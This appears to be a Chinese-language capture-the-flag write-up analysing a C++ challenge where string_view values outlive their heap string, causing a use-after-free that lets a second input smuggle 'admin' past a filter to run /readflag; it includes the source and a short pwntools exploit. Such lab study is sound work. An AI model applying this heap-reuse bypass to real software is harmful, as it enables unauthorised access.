前言
之前还不会C++的时候对着源码冥思苦想,也没看出来哪有问题。现在似乎有了一点头绪。
源码分析
因为题目给了源码所以直接看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| #include <iostream> #include <string> #include <vector> #include <exception> #include <string_view> #include <unordered_map> #include <functional> using namespace std;
string getInput() { string res; getline(cin, res); if (res.size() > 64) throw std::runtime_error("Invalid input"); while (!res.empty() && res.back() == '\n') res.pop_back(); return res; } bool allow_admin = false; auto splitToken(string_view str, string_view delim) { if (!allow_admin && str.find("admin") != str.npos) throw std::invalid_argument("Access denied"); vector<string_view> res; size_t prev = 0, pos = 0; do { pos = str.find(delim, prev); if (pos == std::string::npos) { pos = str.length(); } res.push_back(str.substr(prev, pos - prev)); prev = pos + delim.length(); } while (pos < str.length() && prev < str.length()); return res; } auto parseUser() { auto tok_ring = splitToken(getInput(), ":"); if (tok_ring.size() != 2) throw std::invalid_argument("Bad login token"); if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16) throw std::invalid_argument("Bad login name"); if (tok_ring[1].size() > 32) throw std::invalid_argument("Bad login password"); return make_pair(tok_ring[0], tok_ring[1]); } const unordered_map<string_view, function<void(string_view)>> handle_admin = { {"admin", [](auto) { system("/readflag"); }}, {"?", [](auto) { cout << "Enjoy :)" << endl; cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl; }}}; constexpr auto handle_guest = [](auto) { cout << "Hello guest!" << endl; }; int main() { auto [username, password] = parseUser(); cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl; auto choice = getInput(); if (choice == "quit") { cout << "bye" << endl; return 0; } if (auto it = handle_admin.find(username); it != handle_admin.end()) { it->second(password); } else { handle_guest(password); } }
|
代码粗看似乎没有逻辑上的问题,但是注意到使用了string_view,这是一个指向字符串的类型,自己并不拥有字符串数据,因此生命周期必须小于等于拥有的字符串,否则就会造成UAF。我们注意到parseUser函数返回pair<string_view,string_view>类型,而string_view对应的字符串在splitToken函数处返回,在main函数中显然已被析构。因此在main函数中得到的username, password构成UAF。
利用思路
在main函数中,只要choice不为”quit”就视为login,因此我们可以使choice字符串覆盖原先的username:password字符串,实现readflag。
对于较短字符串来说,因为SSO(Short String Optimization)机制(这篇回答给出了比较详细的解释),字符串被存储在对象内部,无法完成漏洞利用。
对于较长字符串而言,std::basic_string会在堆上开辟空间存储字符串,因此很容易想到使第二次输入的字符串长度等于第一次,从而复用第一次开辟的堆空间。需要注意的是,username是string_view类型,存储了字符串切片的长度,因此在第一次输入时,username必须是5个字符长度。
exp
1 2 3 4 5
| from pwn import * p=process('./chall') p.sendline(b'aaaaa:'+b'a'*32) p.sendlineafter(b'cancel',b'admin'+b'a'*33) p.interactive()
|